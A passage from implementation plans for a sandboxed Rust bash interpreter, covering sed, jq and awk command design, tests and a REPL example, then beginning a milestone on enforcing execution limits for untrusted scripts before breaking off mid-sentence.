Edge cases: empty input, single-line input, stdin vs file\n\n**Exit criteria**: All M2.6 commands implemented and tested. `cargo clippy` clean.\n\n---\n\n## Phase 4 — sed (M2.2)\n\n> New file `src/commands/sed.rs` containing the sed mini-interpreter. This is a custom implementation — no external crate. Uses the existing `regex` crate for pattern matching.\n\n### 4a. sed data model\n- Define internal types:\n  ```\n  SedAddress: LineNumber(usize) | Last | Regex(Regex) | Step(first, step)\n  SedRange: Single(SedAddress) | Range(SedAddress, SedAddress)\n  SedCommand: Substitute{regex, replacement, flags} | Delete | Print | Quit\n              | Append(String) | Insert(String) | Change(String)\n              | Label(String) | Branch(Option<String>) | BranchIfSubstituted(Option<String>)\n              | HoldGet | HoldAppend | PatternGet | PatternAppend | Exchange\n              | LineNumber | Next | NextAppend\n  SedScript: Vec<(Option<SedRange>, SedCommand)>\n  ```\n\n### 4b. sed script parser\n- Parse sed expressions (from `-e`, `-f FILE`, or script argument)\n- **BRE→ERE translation**: sed uses BRE by default. Implement `bre_to_ere()` (shared with grep) to translate `\\(` → `(`, `\\)` → `)`, `\\{` → `{`, `\\}` → `}`, and make `+`, `?`, `|` literal by default. When `-E`/`-r` is passed, skip translation and use regex patterns as-is. This is critical — `s/\\(.*\\)/[\\1]/` is one of the most common sed patterns and will silently break without BRE translation.\n- Address parsing:\n  - `N` — line number\n  - `$` — last line\n  - `/regex/` — regex match (with escaped delimiter support)\n  - `N,M` — line range\n  - `N~S` — step (every S-th line starting at N) — lower priority\n- Command parsing:\n  - `s/regex/replacement/flags` — substitution (flags: `g`, `i`, `p`, number)\n    - Handle alternate delimiters: `s|old|new|`, `s#old#new#`\n    - Replacement special chars: `&` (whole match), `\\1`–`\\9` (groups), `\\n` (newline)\n    - **Note**: The `regex` crate uses `$1`–`$9` for capture group references in replacements, not `\\1`–`\\9`. The sed replacement engine must translate `\\1` → `${1}`, `\\2` → `${2}`, etc. before passing to `regex::Regex::replace()`.\n  - `d` — delete pattern space\n  - `p` — print pattern space\n  - `q` — quit (with optional exit code)\n  - `a\\text` / `a text` — append text after current line\n  - `i\\text` / `i text` — insert text before current line\n  - `c\\text` / `c text` — replace current line with text\n  - `y/src/dst/` — transliterate characters\n  - `=` — print current line number\n  - `n` — output pattern space (unless `-n`), replace with next input line\n  - `N` — append next input line to pattern space (with embedded newline)\n  - `{ commands }` — command group (for address blocks)\n- Multiple commands separated by `;` or newlines\n\n### 4c. sed execution engine\n- For each input line:\n  1. Read line into pattern space\n  2. For each command in script:\n     - Check if address matches current line\n     - If matched, execute command\n  3. Unless `-n`, print pattern space\n  4. Clear pattern space, read next line\n- Track state: current line number, last-line flag, last substitution success (for `t`)\n\n### 4d. Hold space operations\n- `h` — copy pattern space to hold space\n- `H` — append pattern space to hold space (with newline)\n- `g` — copy hold space to pattern space\n- `G` — append hold space to pattern space (with newline)\n- `x` — exchange pattern and hold spaces\n- These enable multi-line operations (e.g., joining lines, accumulating)\n\n### 4e. Branching\n- `:label` — define a label\n- `b label` — branch (jump) to label; `b` alone jumps to end of script\n- `t label` — branch if last `s///` succeeded; `t` alone jumps to end\n- `T label` — branch if last `s///` did NOT succeed (GNU extension)\n\n### 4f. Command-level flags\n- `-n` / `--quiet` / `--silent` — suppress automatic printing\n- `-e SCRIPT` — add script commands (can be repeated)\n- `-f FILE` — read script from file (VFS)\n- `-i` / `--in-place` — edit files in-place via VFS (`write_file` after processing)\n- `-E` / `-r` — extended regex syntax\n- Script from argument: `sed 's/old/new/' file`\n- Script from `-e`: `sed -e 's/old/new/' -e 's/foo/bar/' file`\n\n### 4g. Tests\n- `s/old/new/` — basic substitution\n- `s/old/new/g` — global substitution\n- `s/old/new/i` — case-insensitive substitution\n- `3d` — delete line 3\n- `1,5p` — print lines 1–5\n- `/pattern/d` — delete lines matching pattern\n- Address ranges: `2,4s/a/b/g`\n- `q` — quit after first line\n- `a\\appended`, `i\\inserted`, `c\\changed` — text insertion\n- `y/abc/ABC/` — transliteration\n- `=` — print line number\n- `n` / `N` — next line operations\n- `{ commands }` — command grouping with address: `2,4{ s/a/b/; s/c/d/; }`\n- `-n` with `p` — selective output\n- `-i` in-place editing (verify VFS file updated)\n- Hold space: `sed -n 'H;${x;s/\\n/ /g;p}'` — join all lines\n- Branching: `sed ':a;N;$!ba;s/\\n/ /g'` — join lines using labels\n- Multiple `-e` expressions\n- Alternate delimiters: `s|/path/old|/path/new|`\n- Backreferences: `s/\\(foo\\)\\(bar\\)/\\2\\1/` (verifies BRE→ERE + `\\1`→`$1` translation)\n- Pipeline: `echo \"hello world\" | sed 's/world/earth/'`\n\n**Exit criteria**: sed handles core commands, addresses, hold space, and branching. Tests pass. `cargo clippy` clean.\n\n---\n\n## Phase 5 — jq (M2.4) ✅\n\n> New file `src/commands/jq_cmd.rs`. Wraps the `jaq-core` crate to provide jq-compatible JSON filtering.\n\n### 5a. Add jaq dependencies\n- Add to Cargo.toml:\n  - `jaq-core = \"3.0.0-gamma\"`\n  - `jaq-std = \"3.0.0-gamma\"`\n  - `jaq-json = \"2.0.0-gamma\"`\n  - `serde_json = \"1\"`\n- If gamma versions cause issues, evaluate fallback to `jaq-interpret = \"1.5.0\"` + `jaq-parse = \"1.0.3\"` (note: API differs significantly between 1.x and 3.x)\n- Verify compilation with a basic filter test\n- **WASM check**: Verify `cargo check --target wasm32-unknown-unknown` still passes after adding jaq dependencies. If it fails, feature-gate the jq command behind `#[cfg(not(target_arch = \"wasm32\"))]` or find alternatives. This is a known risk — `serde_json` + jaq transitives may pull in std-dependent code.\n\n### 5b. jq command wrapper\n- Parse command-line arguments:\n  - First non-flag argument is the filter expression\n  - Remaining arguments are input files (read from VFS)\n  - No files → read from `ctx.stdin`\n- Use `jaq_core::load::Loader` + `Arena` for parsing:\n  ```rust\n  let defs = jaq_core::defs().chain(jaq_std::defs()).chain(jaq_json::defs());\n  let funs = jaq_core::funs().chain(jaq_std::funs()).chain(jaq_json::funs());\n  let loader = Loader::new(defs);\n  let arena = Arena::default();\n  let program = File { code: filter_str, path: () };\n  let modules = loader.load(&arena, program)?;\n  let filter = Compiler::default().with_funs(funs).compile(modules)?;\n  ```\n- For each input:\n  - Parse JSON using `jaq_json::read::parse_single()` or `serde_json`\n  - Run compiled filter via `filter.id.run((ctx, input))`\n  - Collect output values\n\n### 5c. Output formatting\n- Default: pretty-printed JSON with syntax coloring disabled (since we return strings)\n- `-r` / `--raw-output` — output raw strings without quotes (strings only; non-strings still JSON)\n- `-c` / `--compact-output` — one-line JSON\n- `-S` / `--sort-keys` — sort object keys\n- `-j` / `--join-output` — like `-r` but no newline between outputs\n- `-e` / `--exit-status` — exit 1 if last output is false or null\n\n### 5d. Input options\n- `-n` / `--null-input` — don't read input; `null` as input\n- `-R` / `--raw-input` — read input as raw strings (one per line)\n- `-s` / `--slurp` — read all inputs into an array\n- `--arg NAME VALUE` — set `$NAME` to string VALUE\n- `--argjson NAME VALUE` — set `$NAME` to parsed JSON VALUE\n\n### 5e. Common filters to verify\nThese aren't things we implement (jaq handles them), but we must verify they work through our wrapper:\n- `.field` — object field access\n- `.field.subfield` — nested access\n- `.[]` — iterate array/object values\n- `.[N]` — array index\n- `.field // \"default\"` — alternative operator\n- `select(condition)` — filter\n- `map(f)` — transform array elements\n- `keys`, `values`, `length`, `type`, `has(\"key\")`\n- `to_entries`, `from_entries`\n- `split(\"delim\")`, `join(\"delim\")`\n- `test(\"regex\")`, `match(\"regex\")`\n- `if-then-else`\n- `reduce`\n- `@base64`, `@uri`, `@html`, `@csv`, `@tsv`\n\n### 5f. Error handling\n- Invalid JSON input → stderr error, exit code 2\n- Invalid filter syntax → stderr error, exit code 3\n- Runtime filter error → stderr error, exit code 5\n- No output produced → exit code 4 (with `-e`)\n- Match jq exit code conventions where possible\n\n### 5g. Tests\n- `.name` on `{\"name\": \"alice\"}` → `\"alice\"`\n- `.[] | .id` on array of objects\n- `select(.age > 30)` filtering\n- `map(.name)` transformation\n- `-r` raw output: `echo '{\"x\":\"hello\"}' | jq -r '.x'` → `hello` (no quotes)\n- `-c` compact: no whitespace in output\n- `-s` slurp: multiple JSON values into array\n- `--arg name val` variable injection\n- `-n 'null'` null input\n- Pipe chains: `.users | map(select(.active)) | length`\n- Error cases: invalid JSON, invalid filter, missing field (null vs error)\n- Large nested structures\n- Multiple inputs (files and stdin)\n\n**Exit criteria**: jq command works with common filters. Tests pass. `cargo clippy` clean.\n\n---\n\n## Phase 6 — awk (M2.3) ✅\n\n> New directory `src/commands/awk/` containing the awk mini-interpreter. This is the most complex command — it's effectively a small programming language. Apply 80/20 scoping. Split into multiple files for maintainability:\n>\n> ```\n> src/commands/awk/\n> ├── mod.rs        # AwkCommand impl + VirtualCommand entry point\n> ├── lexer.rs      # tokenizer\n> ├── parser.rs     # AST types + parser\n> └── runtime.rs    # interpreter, built-in functions, arrays\n> ```\n\n### Feature tiers (scope control)\n\n| Tier | Features | Priority |\n|------|----------|----------|\n| **Must-have** | Field splitting (`$0`–`$NF`), `FS`/`OFS`/`RS`/`ORS`, `NR`/`FNR`/`NF`, `BEGIN`/`END`, `print`/`printf`, `if`/`while`/`for`, basic string funcs (`length`, `substr`, `index`, `split`, `sub`, `gsub`, `tolower`/`toupper`, `sprintf`), comparison operators, regex match (`~`, `!~`), `-F`, `-v`, associative arrays, `delete`, `for...in`, `break`/`continue`/`next`/`exit` | Core of Phase 6 |\n| **Should-have** | `match()` (sets RSTART/RLENGTH), range patterns, assignment operators (`+=`, etc.), `int()`, ternary `?:`, `do...while`, `FILENAME`, implicit concatenation, `-f progfile` | Core of Phase 6 |\n| **Nice-to-have** | Math funcs (`sqrt`, `sin`, `cos`, `atan2`, `exp`, `log`), `rand()`/`srand()`, `getline` (basic form only), `SUBSEP`/multi-dim arrays, `ARGC`/`ARGV` | Include if on schedule |\n| **Defer** | User-defined functions, output redirection to files (`print > \"file\"`), pipe redirection (`print \\| \"cmd\"`), complex `getline` forms (`getline < \"file\"`, `\"cmd\" \\| getline`) | Future milestone |\n\n### 6a. awk tokenizer\n- Define tokens: `NUMBER`, `STRING`, `REGEX`, `IDENT`, `FIELD_REF` (`$N`), operators, keywords, punctuation\n- Keywords: `BEGIN`, `END`, `if`, `else`, `while`, `for`, `do`, `break`, `continue`, `next`, `exit`, `return`, `function`, `in`, `delete`, `getline`, `print`, `printf`\n- String literals with escape sequences (`\\n`, `\\t`, `\\\\`, etc.)\n- Regex literals: `/pattern/`\n- Handle concatenation (implicit operator in awk: `\"a\" \"b\"` = `\"ab\"`)\n\n### 6b. awk parser\n- Parse into AST:\n  ```\n  AwkProgram: Vec<AwkRule>\n  AwkRule: { pattern: Option<AwkPattern>, action: AwkBlock }\n  AwkPattern: Begin | End | Expression(Expr) | Regex(String) | Range(Expr, Expr)\n  AwkBlock: Vec<AwkStatement>\n  AwkStatement: Print{exprs, output_redirect} | Printf{format, exprs} | If{cond, then, else_}\n              | While{cond, body} | For{init, cond, step, body} | ForIn{var, array, body}\n              | DoWhile{body, cond} | Block(Vec<AwkStatement>) | Expression(Expr)\n              | Break | Continue | Next | Exit(Option<Expr>) | Return(Option<Expr>)\n              | Delete{array, index}\n  Expr: Number(f64) | String(String) | FieldRef(Box<Expr>) | Var(String)\n      | ArrayRef{name, index} | BinaryOp{op, left, right} | UnaryOp{op, expr}\n      | Assign{target, value} | Ternary{cond, then, else_} | Match{expr, regex}\n      | FuncCall{name, args} | Concat{left, right}\n      | GetLine{var, source} | Regex(String)\n      | InArray{value, array}\n  ```\n\n### 6c. awk runtime — core\n- **Field splitting**:\n  - Split input record on `FS` (default: whitespace, with special leading/trailing trim)\n  - `$0` = entire record, `$1`...`$NF` = individual fields\n  - Assigning to a field rebuilds `$0` using `OFS`\n  - Assigning to `$0` re-splits fields\n- **Built-in variables**:\n  - `NR` — total records read so far\n  - `FNR` — records read from current file\n  - `NF` — number of fields in current record\n  - `FS` — input field separator (default: `\" \"` = split on whitespace runs)\n  - `OFS` — output field separator (default: `\" \"`)\n  - `RS` — input record separator (default: `\"\\n\"`)\n  - `ORS` — output record separator (default: `\"\\n\"`)\n  - `FILENAME` — current input filename\n  - `RSTART`, `RLENGTH` — set by `match()`\n  - `SUBSEP` — subscript separator for multi-dimensional arrays (default: `\"\\034\"`)\n  - `ARGC`, `ARGV` — argument count and values\n- **Command-line flags**:\n  - `-F fs` — set field separator\n  - `-v var=val` — set variable before execution\n  - Program from argument: `awk 'program' files...`\n  - Program from file: `-f progfile` (read from VFS)\n\n### 6d. awk runtime — control flow & I/O\n- **Pattern matching**:\n  - `BEGIN { ... }` — execute before any input\n  - `END { ... }` — execute after all input\n  - `/regex/ { ... }` — match against `$0`\n  - `expression { ... }` — truthy expression\n  - `pattern1, pattern2 { ... }` — range (from first match to second match)\n  - No pattern = match all records\n- **Statements**:\n  - `print expr1, expr2` — print with OFS between, ORS at end\n  - `print` alone — print `$0 ORS`\n  - **Output redirection**: `print > \"file\"` and `print >> \"file\"` are **deferred** (see tier table). All `print`/`printf` output goes to stdout for now. Pipe redirection (`print | \"cmd\"`) is also deferred as it requires the exec callback integration.\n  - `printf format, expr1, expr2` — formatted output (C-style: `%d`, `%s`, `%f`, `%g`, `%x`, `%o`, `%c`, `%e`, `%%`)\n  - `if (cond) stmt; else stmt`\n  - `while (cond) stmt`\n  - `for (init; cond; step) stmt`\n  - `for (var in array) stmt`\n  - `do stmt while (cond)`\n  - `break`, `continue` — loop control\n  - `next` — skip to next input record\n  - `exit [code]` — exit with code\n\n### 6e. awk runtime — operators & expressions\n- Arithmetic: `+`, `-`, `*`, `/`, `%`, `^` (power)\n- String concatenation: implicit (adjacent expressions)\n- Comparison: `<`, `<=`, `==`, `!=`, `>=`, `>`\n- Regex match: `~`, `!~`\n- Logical: `&&`, `||`, `!`\n- Ternary: `cond ? expr : expr`\n- Assignment: `=`, `+=`, `-=`, `*=`, `/=`, `%=`, `^=`\n- Increment/decrement: `++`, `--` (pre and post)\n- Field reference: `$expr` (computed field reference)\n- Unary minus, unary plus\n- String-to-number coercion: awk's dual-type system (values are both string and number)\n- Array membership: `(index in array)`\n\n### 6f. awk runtime — built-in functions\n- **String functions**:\n  - `length(s)` — string length (or array length)\n  - `substr(s, start [, len])` — substring\n  - `index(s, target)` — find substring position\n  - `split(s, array [, fs])` — split string into array\n  - `sub(regex, replacement [, target])` — substitute first match\n  - `gsub(regex, replacement [, target])` — substitute all matches\n  - `match(s, regex)` — regex match, sets RSTART/RLENGTH\n  - `sprintf(fmt, exprs...)` — formatted string\n  - `tolower(s)` / `toupper(s)` — case conversion\n- **Math functions**:\n  - `int(x)` — truncate to integer\n  - `sqrt(x)`, `sin(x)`, `cos(x)`, `atan2(y, x)`\n  - `exp(x)`, `log(x)`\n  - `rand()` — random 0–1\n  - `srand([seed])` — seed random generator\n- **I/O functions** (nice-to-have tier):\n  - `getline` — basic form only: read next line into `$0`, return 1/0/-1. Complex forms (`getline var`, `getline < \"file\"`, `\"cmd\" | getline`) are deferred.\n\n### 6g. awk runtime — associative arrays\n- Arrays are associative (string-indexed hash maps)\n- Auto-vivification: accessing `a[\"key\"]` creates it\n- `for (key in array)` iteration\n- `delete array[key]` — remove element\n- `delete array` — clear entire array\n- Multi-dimensional: `a[i, j]` uses SUBSEP to create composite key\n- `(key in array)` — membership test (returns 0 or 1)\n\n### 6h. User-defined functions (deferred)\n- `function name(params) { body }` — define function\n- Local variables via extra parameters: `function f(a, b,    local1, local2)`\n- `return expr` — return value from function\n- Functions can be called recursively\n- **Deferred**: Per the tier table, user-defined functions add significant parser and runtime complexity (separate scope management, recursion, local variable convention). Defer to a future milestone unless implementation is ahead of schedule.\n\n### 6i. Tests\n- **Basic**: `awk '{print $1}' file` — extract first field\n- **Field separator**: `awk -F: '{print $1}' /etc/passwd`-style\n- **Field assignment**: `awk '{$2 = \"X\"; print $0}'` — verify `$0` is rebuilt with OFS\n- **Patterns**: `awk '/error/ {print}' log` — regex filter\n- **BEGIN/END**: `awk 'BEGIN{sum=0} {sum+=$1} END{print sum}'` — sum column\n- **Variables**: `awk -v threshold=10 '$1 > threshold'`\n- **Uninitialized variables**: verify default to `\"\"` (string) / `0` (numeric)\n- **Expressions**: `awk '{print $1, $1*2}'` — arithmetic in output\n- **Control flow**: `awk '{if ($1 > 10) print \"big\"; else print \"small\"}'`\n- **printf**: `awk '{printf \"%-20s %5d\\n\", $1, $2}'`\n- **Arrays**: `awk '{count[$1]++} END{for(k in count) print k, count[k]}'` — word frequency\n- **Array delete**: `awk '{a[$1]=1} END{delete a[\"x\"]; for(k in a) print k}'`\n- **String functions**: `awk '{print toupper($0)}'`, `split`, `sub`, `gsub`\n- **Multi-file**: `awk '{print FILENAME, FNR, $0}' file1 file2`\n- **Range pattern**: `awk '/start/,/end/ {print}'`\n- **Pipe with other commands**: `cat file | awk '{print $2}' | sort -n`\n- **No-action rule**: `awk '/pattern/' file` (implicit `{print}`)\n- **Empty FS**: `awk -F '' '{print $1}'` — splits every character\n- **Edge cases**: empty input, single-field records, empty fields, very long lines\n- **NR vs FNR**: verify correct counts across multiple files\n\n**Exit criteria**: awk handles the 80/20 subset (field splitting, patterns, actions, BEGIN/END, built-in variables, control flow, built-in functions, associative arrays). Tests pass. `cargo clippy` clean.\n\n---\n\n## Phase 7 — Integration Tests & Polish\n\n> Cross-command integration tests and final polish for the milestone.\n\n### 7a. Cross-command pipeline tests\n- `grep -r 'TODO' /src | wc -l` — count TODOs across files\n- `cat data.csv | awk -F, '{print $2}' | sort | uniq -c | sort -rn` — CSV column frequency\n- `echo '{\"users\":[{\"name\":\"alice\"},{\"name\":\"bob\"}]}' | jq '.users[].name' | sort`\n- `diff <(sort file1) <(sort file2)` — note: this requires process substitution which may not be in M2 scope; test with explicit temp files instead\n- `sed 's/old/new/g' input.txt | grep -c new` — sed + grep pipeline\n- `comm -12 <(sort file1) <(sort file2)` — common lines (via temp files if no process sub)\n- `awk '{print $1}' data | sort -u | join - reference.txt`\n\n### 7b. Regression tests\n- Verify all M1 commands still work (run full test suite)\n- Verify no performance regression on existing commands\n\n### 7c. Documentation\n- Update `docs/guidebook/10-implementation-plan.md`: mark M2.1–M2.6 as ✅\n- Update `README.md` command list if it exists\n\n**Exit criteria**: All M2 tests pass, no M1 regressions, documentation updated. `cargo fmt && cargo clippy -- -D warnings && cargo test` all clean.\n\n---\n\n## Phase 8 — Interactive Shell Example ✅\n\n> A `rustyline`-based REPL in `examples/shell.rs` that dogfoods the library. This gives us a practical way to interactively test the interpreter and serves as documentation for library consumers. Lightweight precursor to the full CLI binary planned in M5.1.\n\n### 8a. Add rustyline dev-dependency\n- Add `rustyline = \"17.0.2\"` as a dev-dependency in `Cargo.toml` (examples can use dev-deps)\n- If rustyline doesn't work as a dev-dep for examples, add it as an optional dependency behind a `repl` feature flag\n\n### 8b. Basic REPL loop (`examples/shell.rs`)\n- Create `RustBash` instance via `RustBashBuilder`\n- Prompt: `rust-bash$ ` (or `rust-bash:/cwd$ ` showing current directory)\n- Read line via `rustyline::Editor`\n- Execute via `shell.exec(line)`\n- Print stdout to terminal stdout, stderr to terminal stderr\n- Print non-zero exit codes: `[exit: N]`\n- Handle `exit` / Ctrl-D gracefully\n- Handle Ctrl-C to cancel current input (not exit)\n\n### 8c. Readline features\n- **History**: persist across session in `~/.rust_bash_history` (via `rustyline::history`)\n- **Multi-line input**: detect incomplete input (unclosed quotes, trailing `\\`, open `{`/`do`/`if` blocks) and continue prompting with `> ` continuation prompt. Use `brush-parser` tokenization to detect incomplete input.\n- **Basic tab completion**: complete command names from the registered commands list. File path completion from VFS is nice-to-have but not required.\n\n### 8d. VFS seeding\n- Seed the VFS with the host's current working directory name as `/cwd`\n- Optionally accept `--files DIR` to pre-load files from real filesystem into VFS\n- Set `$HOME=/home`, `$USER=user`, `$PWD=/` as defaults\n- Accept `--env KEY=VAL` to set environment variables\n\n### 8e. Output formatting\n- Colorize the prompt (green for zero exit, red for non-zero — if terminal supports it)\n- No other coloring needed — keep it simple\n\n### 8f. Tests\n- Not unit-tested (it's an example binary), but verify:\n  - `cargo build --example shell` compiles cleanly\n  - `echo 'echo hello' | cargo run --example shell` produces `hello`\n  - Multi-line: `echo 'for i in 1 2 3; do\\necho $i\\ndone' | cargo run --example shell`\n\n**Exit criteria**: `cargo build --example shell` succeeds. The REPL works interactively with history and basic completion. `cargo clippy` clean.\n\n---\n\n## Dependency Graph\n\n```\nPhase 0 (M1 doc fix) ── no code deps, do first\n    │\n    ├── Phase 1 (grep full) ─────── independent, uses existing regex crate\n    │       └── creates shared bre_to_ere() in regex_util.rs\n    ├── Phase 2 (diff) ──────────── independent, adds similar crate\n    ├── Phase 3 (remaining text) ── independent, simple utilities\n    ├── Phase 5 (jq) ───────────── independent, adds jaq-core crate\n    │\n    └── Phase 4 (sed) ──────────── uses bre_to_ere() from Phase 1\n            │\n            └── Phase 6 (awk) ──── most complex, do last\n                    │\n                    └── Phase 7 (integration + polish) ── after all phases\n                            │\n                            └── Phase 8 (shell example) ── after all commands work\n```\n\n**Recommended execution order**: 0 → 1 → 3 → 2 → 4 → 5 → 6 → 7 → 8\n\n**Parallelism opportunities**:\n- Phases 1, 2, 3, 5 are fully independent — can be built in any order or parallel\n- Phase 4 (sed) benefits from Phase 1 (grep) experience with regex patterns\n- Phase 6 (awk) should be last — it's the most complex and benefits from patterns established in sed\n- Phase 8 can technically start after Phase 0 (only needs a working interpreter), but is best done last to dogfood the complete M2 command set\n\n---\n\n## Risks & Mitigations\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| awk complexity explosion | High | High | Strict tiered scope (must/should/nice/defer). Ship iteratively. Defer user-defined functions and output redirection. |\n| sed edge cases (addresses, branching) | Medium | Medium | Start with s///, d, p. Add hold space and branching incrementally. Test each feature in isolation. |\n| BRE→ERE regex translation bugs | Medium | Medium | Shared `bre_to_ere()` utility with thorough unit tests. Test against common real-world sed/grep BRE patterns. |\n| jaq-core 3.x gamma instability | Medium | Medium | Have fallback plan to jaq-interpret 1.5.0. Pin exact version. Test thoroughly. |\n| jaq-core WASM incompatibility | Medium | Medium | Check WASM target early in Phase 5a. Feature-gate if needed. |\n| jaq-core API changes during M2 | Low | Medium | Pin to exact gamma version. Don't update mid-milestone. |\n| regex crate limitations vs PCRE | Low | Low | Reject `-P` with warning. Document unsupported patterns. |\n| diff performance on large files | Low | Medium | similar crate is well-optimized. Set output size limit via ExecutionLimits (M3). |\n| sed `\\1`→`$1` replacement translation | Medium | Medium | Test backreference patterns early. The translation is straightforward but easy to get wrong with escaping. |\n\n---\n\n## Notes\n\n- All commands follow the `VirtualCommand` trait pattern (stateless, `Send + Sync`)\n- All file access through `ctx.fs: &dyn VirtualFs` — never `std::fs`\n- All commands support `--` flag terminator per Ch. 6 conventions\n- File content from VFS is `Vec<u8>` — commands handle UTF-8 conversion with graceful error handling\n- Error message format: `command: message` (e.g., `sed: invalid command: x`)\n- sed and awk are custom interpreters — they don't delegate to external processes\n- The `regex` crate is already a dependency; sed and grep share it\n- `yes` is already implemented in M1, so M2.6 skips it\n","/home/user/docs/plans/M3.md":"# Milestone 3: Execution Safety — Implementation Plan\n\n## Problem Statement\n\nrust-bash is designed to run untrusted, AI-generated scripts. M1 and M2 delivered a correct interpreter with ~60 commands, but execution safety is only partially enforced. Of the 10 defined `ExecutionLimits`, 3 are not enforced at all (`max_string_length`, `max_substitution_depth`, `max_heredoc_size`), and several enforced limits use inconsistent error types (`Execution` or `Timeout` instead of `LimitExceeded`). Network access (curl) is not yet implemented. M3 closes these gaps to deliver a fully bounded, policy-controlled execution environment.\n\n## M1/M2 Carryover\n\n### Current Limit Enforcement Status\n\n| Limit | Enforced? | Error Type | Issue |\n|-------|-----------|-----------|-------|\n| `max_call_depth` | ✅ | `Execution` | Should be `LimitExceeded` |\n| `max_command_count` | ✅ | `LimitExceeded` | OK |\n| `max_loop_iterations` | ✅ | `Execution` | Should be `LimitExceeded` |\n| `max_execution_time` | ✅ | `Timeout` | OK — `Timeout` is semantically correct |\n| `max_output_size` | ✅ | `LimitExceeded` | OK |\n| `max_glob_results` | ✅ | Silent cap | Should error with `LimitExceeded` |\n| `max_brace_expansion` | ✅ | `LimitExceeded` | OK |\n| `max_string_length` | ❌ | — | Not enforced anywhere |\n| `max_substitution_depth` | ❌ | — | Not enforced anywhere |\n| `max_heredoc_size` | ❌ | — | Not enforced anywhere |\n\n### Other Issues to Address\n\n1. **`RustBashError::LimitExceeded` is not structured.** Currently `LimitExceeded(String)`, but Ch. 7 specifies structured fields: `{ limit_name, limit_value, actual_value }`.\n2. **`RustBashError::Network` variant is missing.** Ch. 2 lists it in the error hierarchy, but `error.rs` doesn't define it.\n3. **Command substitution resets counters.** `execute_command_substitution()` (expansion.rs:213) creates `ExecutionCounters::default()`, meaning nested `$(...)` gets a fresh command budget. This should share the parent's counters (at least for `command_count` and `start_time`) to prevent circumventing limits. Same issue in `execute_subshell()` (walker.rs:695) and `make_exec_callback()` (walker.rs:826).\n4. **`source` and `eval` don't increment `call_depth`.** Both builtins call `execute_program()` on the parent state without tracking depth. A chain of `source` or `eval 'eval ...'` calls can blow the stack without hitting `max_call_depth`.\n\n## Approach\n\nSplit into two phases matching the guidebook's M3.1 (limits) and M3.2 (network). Limits first because they're foundational; network depends on having a working curl command with policy enforcement.\n\n### Dependencies\n\n**New crates needed:**\n- `ureq` — minimal blocking HTTP client for curl implementation (latest stable). Chosen over `reqwest` to avoid async runtime dependency and keep binary size small. No feature-gating initially; add later only if binary size becomes a measured problem.\n- `url` — URL parsing for prefix validation in `NetworkPolicy`. Needed in Phase 3 (not Phase 4).\n\n---\n\n## Phase 1 — Error Type Refactoring (Foundation) ✅\n\n> Make the error types match the spec before adding new enforcement points.\n\n### 1a. Restructure `RustBashError::LimitExceeded`\n\nChange from `LimitExceeded(String)` to a structured variant:\n\n```rust\nRustBashError::LimitExceeded {\n    limit_name: &'static str,\n    limit_value: usize,\n    actual_value: usize,\n}\n```\n\nUsing `&'static str` for `limit_name` avoids allocation on error paths and enables clean pattern matching in tests (e.g., `LimitExceeded { limit_name: \"max_command_count\", .. }`).\n\nUpdate all existing `LimitExceeded` construction sites:\n- `walker.rs:check_limits()` — `max_command_count`, `max_output_size`\n- `brace.rs:check_limit()` — `max_brace_expansion`\n\nUpdate the `Display` impl and any pattern matches on `LimitExceeded` across the codebase. Known sites requiring update:\n- `tests/integration.rs` — at least 2 tests that match on `LimitExceeded(msg)` and assert `msg.contains(...)`\n- Any other `match` arms on `RustBashError`\n\n### 1b. Add `RustBashError::Network` variant\n\n```rust\nRustBashError::Network(String)\n```\n\nAdd to `Display` impl, `std::error::Error` impl. Not yet used — just plumbing for Phase 4.\n\n### 1c. Migrate existing limit errors to correct variant\n\nChange these callsites from `RustBashError::Execution` to `RustBashError::LimitExceeded`:\n- `walker.rs:execute_function_call()` — `max_call_depth`\n- `walker.rs:execute_for()` — `max_loop_iterations`\n- `walker.rs:execute_arithmetic_for()` — `max_loop_iterations`\n- `walker.rs:execute_while_until()` — `max_loop_iterations`\n\n### 1d. Change glob limit from silent cap to error\n\nIn `expansion.rs:glob_expand_words()`, change from silently taking the first N results to returning `RustBashError::LimitExceeded` when glob results exceed `max_glob_results`. This requires changing the function signature from returning `Vec<String>` to `Result<Vec<String>, RustBashError>` and propagating the error through `expand_word()` / `expand_word_mut()`.\n\n**Exit criteria**: All existing limits produce structured `LimitExceeded` errors. All existing tests still pass (update test assertions as needed). `cargo clippy -- -D warnings` clean.\n\n---\n\n## Phase 2 — Enforce Unenforced Limits (M3.1 core) ✅\n\n### 2a. `max_string_length` enforcement\n\nCheck at these specific chokepoints:\n\n1. **`set_variable()`** (interpreter/mod.rs) — catches all direct variable assignments:\n   ```rust\n   if value.len() > state.limits.max_string_length {\n       return Err(RustBashError::LimitExceeded { ... });\n   }\n   ```\n\n2. **`expand_word_to_string_mut()`** (expansion.rs) — single chokepoint for all assignment-like contexts (heredocs, redirects, case values, `${var:-default}` etc.)\n\n3. **`builtin_read()`** (builtins.rs) — the value read from stdin before assignment\n\nFor inline usage like `echo \"$huge\"`, the `max_output_size` limit provides the backstop, so we don't need to check every expansion intermediate.\n\n### 2b. `max_substitution_depth` enforcement\n\nAdd a `substitution_depth` field to `ExecutionCounters`:\n\n```rust\npub substitution_depth: usize,  // init: 0\n```\n\nUpdate the manual `Default` impl for `ExecutionCounters` (mod.rs) and the `reset()` method to include `substitution_depth: 0`.\n\nIn `execute_command_substitution()` (expansion.rs), increment before recursing and check:\n\n```rust\nstate.counters.substitution_depth += 1;\nif state.counters.substitution_depth > state.limits.max_substitution_depth {\n    state.counters.substitution_depth -= 1;\n    return Err(RustBashError::LimitExceeded { ... });\n}\n// ... execute ...\nstate.counters.substitution_depth -= 1;\n```\n\nThis catches `$($($($(...)))) ` nesting bombs. The depth counter must be passed into the sub_state rather than resetting it.\n\n### 2c. `max_heredoc_size` enforcement\n\nIn `walker.rs` where heredocs are processed (the `HereDocument` arm at line ~1004), check the body size after expansion:\n\n```rust\nast::IoRedirect::HereDocument(fd, heredoc) => {\n    let body = ...;  // existing expansion\n    if body.len() > state.limits.max_heredoc_size {\n        return Err(RustBashError::LimitExceeded { ... });\n    }\n    ...\n}\n```\n\nAlso check the `HereString` arm (line ~997) for the same size limit — a `<<<$(generate_huge_string)` could produce arbitrarily large stdin. Reuse `max_heredoc_size` for both.\n\n### 2d. Fix counter sharing across subshells, command substitutions, and exec callbacks\n\nCurrently, `execute_command_substitution()` (expansion.rs:213), `execute_subshell()` (walker.rs:695), and `make_exec_callback()` (walker.rs:826) all reset counters with `ExecutionCounters::default()`. This means nested execution gets a fresh command budget and a fresh `start_time`, completely defeating the parent's 